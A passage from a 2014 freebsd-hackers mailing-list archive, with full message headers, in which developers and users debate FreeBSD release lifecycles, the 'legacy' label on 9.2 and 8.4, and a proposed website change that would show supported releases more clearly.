Jun 2014 20:35:31 GMT Date: Wed, 4 Jun 2014 23:36:17 +0300 From: Stefan Parvu To: Allan Jude Subject: Re: There is currently no usable release of FreeBSD. Message-Id: <20140604233617.a97ffe3b3e04c6d8bbb2b4db@systemdatarecorder.org> In-Reply-To: <538F7F10.7070605@freebsd.org> References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <20140604231432.a5581f5a50f8d7e1611f9736@systemdatarecorder.org> <538F7F10.7070605@freebsd.org> Organization: systemdatarecorder.org X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.22; amd64-portbld-freebsd11.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 20:36:25 -0000 > Technically, the branches are stable fair enough, but remember some people don't know what are FreeBSD branches nor the internal notation or the calling convention. They want to know what can they download to use on their production environments. As well, probable makes sense to have somewhere defined why there are 3 stable, production releases and the life support scheme for each. Sort of: http://en.wikipedia.org/wiki/Solaris_%28operating_system%29 (Solaris Release Timeline) > so it'd be: > Releases: 10.0, 9.2, 8.4 > Testing: 11-snapshot, 9.3 Sounds good. I think legacy should be dropped in favour of something simpler and easy to digest from sys admins to data center managers. -- Stefan Parvu From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 20:40:42 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8DBF54B5 for ; Wed, 4 Jun 2014 20:40:42 +0000 (UTC) Received: from mail-wg0-x229.google.com (mail-wg0-x229.google.com [IPv6:2a00:1450:400c:c00::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 282912ED4 for ; Wed, 4 Jun 2014 20:40:42 +0000 (UTC) Received: by mail-wg0-f41.google.com with SMTP id z12so46043wgg.12 for ; Wed, 04 Jun 2014 13:40:40 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=20120113; h=date:from:to:subject:message-id:in-reply-to:references:mime-version :content-type:content-transfer-encoding; bh=AP0U3d9Jgv98aECHnOJIiLnYc81a3uCAh7nNGMWfQEA=; b=w1MV1EZO9Juc0TfpTJWxwBGed/VbEKLYy4O+3Wnlp/adRBxQwcN8yd9eYez9g7yTeY U0WGpLtcDTZE5fDGhGomDJQNQZwlB/KizhhVO59Boxf7aoGzsEa+D6xuHTp4uLFGHdzf EBMKIOp2fHlbzwaI2AwwvxVDpYNYliSPMfzTnWLB8i/a1IqcvCUNWC2F5TtcDi5kctJD 47fb5Rd9A1E4YO6bluFDis54QWjPgOXjb/Doco5+eXXYerJXnKcqfYEIS6plE91w+Q09 QQQ8w+dpXdAvjdGpRN7d7UOp/+YV5mBW2YwDj2T7yE+g8N2Rf69JJCFpPIsySE4MHTsf 9H5g== X-Received: by 10.195.12.34 with SMTP id en2mr75554622wjd.13.1401914440340; Wed, 04 Jun 2014 13:40:40 -0700 (PDT) Received: from gumby.homeunix.com ([94.195.197.89]) by mx.google.com with ESMTPSA id s10sm5104185wjs.29.2014.06.04.13.40.38 for (version=SSLv3 cipher=RC4-SHA bits=128/128); Wed, 04 Jun 2014 13:40:39 -0700 (PDT) Date: Wed, 4 Jun 2014 21:40:36 +0100 From: RW To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. Message-ID: <20140604214036.0c43109d@gumby.homeunix.com> In-Reply-To: <538F5DC7.4060404@FreeBSD.org> References: <538F5DC7.4060404@FreeBSD.org> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 20:40:42 -0000 On Wed, 04 Jun 2014 12:56:23 -0500 Pedro Giffuni wrote: > 10.0 is production quality, however you have to check for the > security advisories so I use 10-stable and I find it very easy to > maintain with pkg(ng). When people say they are using 10.0 they are usually referring to the security branch. You don't need to use a development branch to get security updates. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 17:07:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E56A11D6 for ; Wed, 4 Jun 2014 17:07:22 +0000 (UTC) Received: from phk.freebsd.dk (phk.freebsd.dk [130.225.244.222]) by mx1.freebsd.org (Postfix) with ESMTP id AEBA9287C for ; Wed, 4 Jun 2014 17:07:22 +0000 (UTC) Received: from critter.freebsd.dk (unknown [192.168.60.3]) by phk.freebsd.dk (Postfix) with ESMTP id 325B01578; Wed, 4 Jun 2014 17:07:21 +0000 (UTC) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.14.8/8.14.8) with ESMTP id s54H7KJG018772; Wed, 4 Jun 2014 17:07:20 GMT (envelope-from phk@phk.freebsd.dk) To: John Kozubik Subject: Re: There is currently no usable release of FreeBSD. In-reply-to: From: "Poul-Henning Kamp" References: Content-Type: text/plain; charset=ISO-8859-1 Date: Wed, 04 Jun 2014 17:07:20 +0000 Message-ID: <18771.1401901640@critter.freebsd.dk> X-Mailman-Approved-At: Wed, 04 Jun 2014 20:46:06 +0000 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 17:07:23 -0000 In message , John Kozubik writes: >Which version of FreeBSD would you use ? -current ? -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 21:04:10 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D7A953BC for ; Wed, 4 Jun 2014 21:04:10 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id AE62F24A7 for ; Wed, 4 Jun 2014 21:04:09 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 0C2B57DDB3 for ; Wed, 4 Jun 2014 21:04:08 +0000 (UTC) Message-ID: <538F89CA.7070600@freebsd.org> Date: Wed, 04 Jun 2014 17:04:10 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <20140604231432.a5581f5a50f8d7e1611f9736@systemdatarecorder.org> <538F7F10.7070605@freebsd.org> <20140604233617.a97ffe3b3e04c6d8bbb2b4db@systemdatarecorder.org> In-Reply-To: <20140604233617.a97ffe3b3e04c6d8bbb2b4db@systemdatarecorder.org> X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IUDHfgsIXPUTS82T0EWX25VBKMAUdjnJv" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 21:04:10 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --IUDHfgsIXPUTS82T0EWX25VBKMAUdjnJv Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-04 16:36, Stefan Parvu wrote: >=20 >> Technically, the branches are stable >=20 > fair enough, but remember some people don't know what are FreeBSD branc= hes > nor the internal notation or the calling convention. They want to know = what can=20 > they download to use on their production environments. As well, probabl= e makes > sense to have somewhere defined why there are 3 stable, production rele= ases > and the life support scheme for each. >=20 > Sort of: http://en.wikipedia.org/wiki/Solaris_%28operating_system%29 > (Solaris Release Timeline) >=20 >> so it'd be: >> Releases: 10.0, 9.2, 8.4 >> Testing: 11-snapshot, 9.3 >=20 > Sounds good. I think legacy should be dropped in favour of something si= mpler and easy > to digest from sys admins to data center managers. >=20 Yes, the term 'Legacy' has negative connotations that do not fit 9.2 and = 8.4 After discussing it with gjb via Phabricator, the proposed change will re= ad: LATEST RELEASES: >> Production: 10.0, 9.2, 8.4 >> Upcoming: 9.3 This will make it more clear that it is entirely acceptable to install 9.2 on a new system. --=20 Allan Jude --IUDHfgsIXPUTS82T0EWX25VBKMAUdjnJv Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTj4nNAAoJEJrBFpNRJZKfwikQAIuwRDwdnTkXdzxoR9ufiUX0 ZTUoSZB/a/MysPvtqsThXjUfZDNQxgAfYPsfhzDsUhwV9ADNgqGqTkeju17Sv5DG Ww4UL7ZXsLM9+kmS+1leP5FFLO1zLbt/26VTKeyhTvNLJL8Tz8REGwEgMWVR+zLu wdLqdG/0AeulnuDqxtckRF2bH7WimuknnJI+of+xmYQP7E/LHnBHlRzxjJmHZHQv Hq3JIu0LIA7TQMalRfiImJGhLBbY5/qDR35zlF6L72pKE+f5FlU9qQ653TVxve1c 9IfKyd9kbnkx6SFCCXJqHM1koCK8TB4Ypxjv31TTlhYvDrzhCwpq98Bvr8kz5MAn 175QqsSMohO5uJYP9UkrtavMLSp0vuvL0ab43iPBMwINQJhiNjLTNe707wFOK9ed Y7LW4vNKpA8d7VGBO7B9qwijcPbgfsGf4GGQMGz7+DbLxO6rtAyGVQoshCsB/uy8 Xw1lllOmnntayt4vHapfIGVKuWh1dCFo+6sZKl3fxdyytLNVRDoP9YT6LCrBPGgZ u2j570+9Q39S3xHX/rI3DLDqYXT862i1VsfYa0EZfRqr6NdC4Ehn92wYh3lfDu/k hsa9MJorQtAxqgHk+MYGtitYwm+kw7RVdIoo1L6hLajqsoUb2Wfr+YHgTQTRyrbB iE4KxPaqklJ9AxRG7bVU =NS45 -----END PGP SIGNATURE----- --IUDHfgsIXPUTS82T0EWX25VBKMAUdjnJv-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 21:37:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B2D0CE96 for ; Wed, 4 Jun 2014 21:37:07 +0000 (UTC) Received: from kozubik.com (kozubik.com [216.218.240.130]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9C2532789 for ; Wed, 4 Jun 2014 21:37:07 +0000 (UTC) Received: from kozubik.com (localhost [127.0.0.1]) by kozubik.com (8.14.3/8.14.3) with ESMTP id s54Lb4Ab006064; Wed, 4 Jun 2014 14:37:04 -0700 (PDT) (envelope-from john@kozubik.com) Received: from localhost (john@localhost) by kozubik.com (8.14.3/8.14.3/Submit) with ESMTP id s54LaxYj006061; Wed, 4 Jun 2014 14:36:59 -0700 (PDT) (envelope-from john@kozubik.com) Date: Wed, 4 Jun 2014 14:36:59 -0700 (PDT) From: John Kozubik To: Kamil Choudhury Subject: RE: There is currently no usable release of FreeBSD. - denouement In-Reply-To: Message-ID: References: User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 21:37:07 -0000 Friends, On Wed, 4 Jun 2014, Kamil Choudhury wrote: > Use the branch which offers (for you) the best balance of features > and "support time remaining". Legacy isn't the same as unusable. Of course I'm not actually asking for suggestions as to which release to use - we're[1] heavily invested in FreeBSD and spend a lot of time and money on testing and due diligence for what is the sole OS platform for our core businesses. Most of you recognized this as a continuation of the long (and productive, I thought) conversation from March 2012 titled "FreeBSD has serious problems with focus, longevity, and lifecycle". So I was curious where we were at 2.5 years later. And that's what lead to my rhetorical question: If you're not a hobbyist, and you need to go into production and withstand stakeholder scrutiny, what do you do with a single x.0 release and two legacy releases ? My favorite response was "use stable" which, in two words, tells you *everything you need to know* about FreeBSD development. John Kozubik [1] rsync.net From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 22:09:38 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3CD39698; Wed, 4 Jun 2014 22:09:38 +0000 (UTC) Received: from mail-ob0-x233.google.com (mail-ob0-x233.google.com [IPv6:2607:f8b0:4003:c01::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EBC3A2A09; Wed, 4 Jun 2014 22:09:37 +0000 (UTC) Received: by mail-ob0-f179.google.com with SMTP id vb8so166348obc.24 for ; Wed, 04 Jun 2014 15:09:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Fjzj3Tm93rv4zBNA5HTsnxhIag9ZboiYHJXHSLSqgEY=; b=RfX3iU2jMNy8me2GW8lVz+a8OKYgPg+ZxWly2Qt1s4IPsXIsPIWyaZzQke2EJ6MD04 8K4e8f8hztjSM74xctFsIvVe+shZjceXU5ybp3P/oPclZKZ9Brb1Sjpc+5BlnIRdJB6e BVQYLXDHyNlGxXLE2/juQBnPtBsegim6QC2G6D4PinSeI2k7kRjy3G2Em/vlG0nZsH3G 6xZFtnsfP5NgWzmnfc1niJ0cpMSndfVndTSORexC88NnyGFDbEIR9G4RA7kL8xDKa2PG AmFYbkyMi5HKCckTy0ALIYbl6oxeOvD96C18XbFEUO/0Bv2dd7+abLOUJsuFLtrz1rHj 5oYA== MIME-Version: 1.0 X-Received: by 10.182.158.73 with SMTP id ws9mr60921400obb.14.1401919777300; Wed, 04 Jun 2014 15:09:37 -0700 (PDT) Received: by 10.76.167.164 with HTTP; Wed, 4 Jun 2014 15:09:37 -0700 (PDT) Received: by 10.76.167.164 with HTTP; Wed, 4 Jun 2014 15:09:37 -0700 (PDT) In-Reply-To: <20140604233617.a97ffe3b3e04c6d8bbb2b4db@systemdatarecorder.org> References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <20140604231432.a5581f5a50f8d7e1611f9736@systemdatarecorder.org> <538F7F10.7070605@freebsd.org> <20140604233617.a97ffe3b3e04c6d8bbb2b4db@systemdatarecorder.org> Date: Wed, 4 Jun 2014 15:09:37 -0700 Message-ID: Subject: Re: There is currently no usable release of FreeBSD. From: Freddie Cash To: Stefan Parvu Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-hackers@freebsd.org, Allan Jude X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 22:09:38 -0000 On Jun 4, 2014 1:36 PM, "Stefan Parvu" wrote: > > > > Technically, the branches are stable > > fair enough, but remember some people don't know what are FreeBSD branches > nor the internal notation or the calling convention. They want to know what can > they download to use on their production environments. As well, probable makes > sense to have somewhere defined why there are 3 stable, production releases > and the life support scheme for each. It is listed on the web site already, including dates. On my phone right now, so can't easily post the link, but it's on the security section of the site. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 22:47:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4D47EDAF for ; Wed, 4 Jun 2014 22:47:14 +0000 (UTC) Received: from phk.freebsd.dk (phk.freebsd.dk [130.225.244.222]) by mx1.freebsd.org (Postfix) with ESMTP id 121312D1C for ; Wed, 4 Jun 2014 22:47:13 +0000 (UTC) Received: from critter.freebsd.dk (unknown [192.168.60.3]) by phk.freebsd.dk (Postfix) with ESMTP id C01EC1578; Wed, 4 Jun 2014 22:47:06 +0000 (UTC) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.14.8/8.14.8) with ESMTP id s54Ml6IK019840; Wed, 4 Jun 2014 22:47:06 GMT (envelope-from phk@freebsd.org) To: John Kozubik Subject: Re: There is currently no usable release of FreeBSD. In-reply-to: From: "Poul-Henning Kamp" References: <18771.1401901640@critter.freebsd.dk> Content-Type: text/plain; charset=ISO-8859-1 Date: Wed, 04 Jun 2014 22:47:06 +0000 Message-ID: <19839.1401922026@critter.freebsd.dk> Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 22:47:14 -0000 In message , John Kozubik writes: >>> Which version of FreeBSD would you use ? >> >> -current ? > >I don't think you noticed the first part of my question, which was: > >>> Let's pretend for a moment that you are going to use FreeBSD for >>> something other than FreeBSD development. Let's pretend that you have >>> customers and shareholders and boardmembers and contracts and >>> regulators. And that's exactly why I'd start with -current. By the time you're ready to go live, it will be -stable. If you start at 8, 9 or 10 now, you'll be overdue to upgrade by the time you go live. Always be ahead of the curve. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 23:00:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9D98A2A9 for ; Wed, 4 Jun 2014 23:00:25 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 5E9C02E15 for ; Wed, 4 Jun 2014 23:00:24 +0000 (UTC) Received: from [10.1.1.1] (S01060001abad1dea.hm.shawcable.net [50.70.146.73]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id F08297DFED for ; Wed, 4 Jun 2014 23:00:23 +0000 (UTC) Message-ID: <538FA509.3080000@freebsd.org> Date: Wed, 04 Jun 2014 19:00:25 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: There is currently no usable release of FreeBSD. References: <332D72DF-2225-40E2-B246-0786181AAB51@tony.li> <538F5FB5.9060008@FreeBSD.org> <20140604231432.a5581f5a50f8d7e1611f9736@systemdatarecorder.org> <538F7F10.7070605@freebsd.org> <20140604233617.a97ffe3b3e04c6d8bbb2b4db@systemdatarecorder.org> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="LjfS4RAFF8qaOc1T98PnJNPbuRWr8JeHn" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 23:00:25 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --LjfS4RAFF8qaOc1T98PnJNPbuRWr8JeHn Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 2014-06-04 18:09, Freddie Cash wrote: > On Jun 4, 2014 1:36 PM, "Stefan Parvu" > wrote: >> >> >>> Technically, the branches are stable >> >> fair enough, but remember some people don't know what are FreeBSD bran= ches >> nor the internal notation or the calling convention. They want to know= > what can >> they download to use on their production environments. As well, probab= le > makes >> sense to have somewhere defined why there are 3 stable, production > releases >> and the life support scheme for each. >=20 > It is listed on the web site already, including dates. On my phone righ= t > now, so can't easily post the link, but it's on the security section of= the > site. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.o= rg" >=20 http://www.freebsd.org/security/security.html#sup This is currently 2 clicks away: click 'latest releases', then 'supported releases' or from the top menu 'support' then 'security information' and scroll dow= n It might make sense to make this easier to get to, since it is a very useful bit of information I have updated my diff to include adding a 'Support Lifecycle' link to the bottom of the 'Latest Versions' list https://phabric.freebsd.org/D175 Note: if approved, it'd adjust the margin-top on #frontreleaseslist from 15 to 5 to make the list not impinge on Beastie's tail --=20 Allan Jude --LjfS4RAFF8qaOc1T98PnJNPbuRWr8JeHn Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.16 (MingW32) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQIcBAEBAgAGBQJTj6UMAAoJEJrBFpNRJZKfLL8P/jkmE5zNhjGWSt27advEDamc yDtSg3y6gs/KmL49+yKCd9OT8Cc82hJwCMjRelZP9svuv/u9WXY5h6xlAkjZb04V wlOj80O3LB2w18bbZQhMq7nNU/tU9LXXU6zQOzE2HGHcINUBci/kFsz4FN0ehLpq IjvkAKqXY86daGMGzNi9oEaKPv/Thu1k86xjqeIKQNs1L9Kof3C0QKolTmzTuQh8 Pc09kFhRZg1QUuaYNu2y2HuRAXCX/xNut0NtscILXow8VUSdH1hgCgMRoNXq3NCV MOloH5yVeOEaW17hMb9uqx67PH2Kp/q58xWzA/55jSq2ueqL6M0Hivne8GowaSIJ 1ASlOId6vC90zX8WOjUDOnBXpcmOD+Zx31z8cxoshWfwp4MkCUhoICzIxI27JkgY 2BqlpTWnGubtyDEsWIgapviGfAGwou2AZavK+Kjj7vLueo2zULQ/X7vUYxfhqz01 5k9yiD35xAK1bOjXRFnM4ICT1vHWhQZFZcgs6Wf7CkwyBlVXs3UJOnLnXMJpPqrH enF4ab98TTU4SYNKjv3LImk1a7IYMucLYoffbqXBoNt50/Amg16kE1BDfDluJA/5 ihd9AZYOMxip+SqEL+2SHgwEa1bjWSeQTSZhOKEkOgtd/i3jFiJmmziJi0AyiESI M8dKm3lc9P7aoa5mSbH8 =gsyl -----END PGP SIGNATURE----- --LjfS4RAFF8qaOc1T98PnJNPbuRWr8JeHn-- From owner-freebsd-hackers@FreeBSD.ORG Wed Jun 4 23:33:03 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 73C028DB; Wed, 4 Jun 2014 23:33:03 +0000 (UTC) Received: from kozubik.com (kozubik.com [216.218.240.130]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5D22020E3; Wed, 4 Jun 2014 23:33:02 +0000 (UTC) Received: from kozubik.com (localhost [127.0.0.1]) by kozubik.com (8.14.3/8.14.3) with ESMTP id s54NX1jS007156; Wed, 4 Jun 2014 16:33:01 -0700 (PDT) (envelope-from john@kozubik.com) Received: from localhost (john@localhost) by kozubik.com (8.14.3/8.14.3/Submit) with ESMTP id s54NWuEr007153; Wed, 4 Jun 2014 16:32:56 -0700 (PDT) (envelope-from john@kozubik.com) Date: Wed, 4 Jun 2014 16:32:56 -0700 (PDT) From: John Kozubik To: Poul-Henning Kamp Subject: Re: There is currently no usable release of FreeBSD. In-Reply-To: <19839.1401922026@critter.freebsd.dk> Message-ID: References: <18771.1401901640@critter.freebsd.dk> <19839.1401922026@critter.freebsd.dk> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 04 Jun 2014 23:33:03 -0000 On Wed, 4 Jun 2014, Poul-Henning Kamp wrote: >>>> Let's pretend for a moment that you are going to use FreeBSD for >>>> something other than FreeBSD development. Let's pretend that you have >>>> customers and shareholders and boardmembers and contracts and >>>> regulators. > > And that's exactly why I'd start with -current. By the time you're > ready to go live, it will be -stable. > > If you start at 8, 9 or 10 now, you'll be overdue to upgrade by the > time you go live. I agree that the releases do not last long enough to settle on and grow into. That is why we *need* a release to go into double-digit minors, like 4 did when it went to 4.11. I don't even care which one! Any of them! Just give us a release that we can grow into and not find ourselves at "legacy" two years later, at 9.2. Which, by the way, is actually a step backwards. I was appalled to find that 8 was marked legacy at 8.3, but now 9 is marked legacy at 9.2. Which means if there is some bug in 'em' or 'twa' and it gets fixed in 10, you'll never see it backported to 9. Be honest. From owner-freebsd-hackers@FreeBSD.ORG Thu Jun 5 00:11:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id EC16A253 for ; Thu, 5 Jun 2014 00:11:35 +0000 (UTC) Received: from mail-qa0-x235.google.com (mail-qa0-x235.google.com [IPv6:2607:f8b0:400d:c00::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id A5EF82431 for ; Thu, 5 Jun 2014 00:11:35 +0000 (UTC) Received: by mail-qa0-f53.google.com with SMTP id k15so54568qaq.40 for ; Wed, 04 Jun 2014 17:11:34 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=eitanadler.com; s=0xdeadbeef; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=qO3jGTHF47y3aXb/QiDoF581FFR3CMqhfQprKLRzG4Y=; b=hsBLdVGec6WLKWqBT7lipiYr2WeJ1Wv+eAzp9r0lZckPs+zcyT/Gl2CSaoJCzchC6S 94uP2ih7Dg3SYUrG4Wu9M/n49aVLi6b25dgsVdApKCJswshfyKOfjs3gwLUanZZUX8Ta qgdtuHz1+Xphj7SFGTm4BFOxhnqhKXGtZgS5A= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type; bh=qO3jGTHF47y3aXb/QiDoF581FFR3CMqhfQprKLRzG4Y=; b=QiPGt8aPTLMXEZcNI7eiEhQWuBS6auTnclvXT2UsQNxEy0vluO61jr/sFJKIhmBnqO 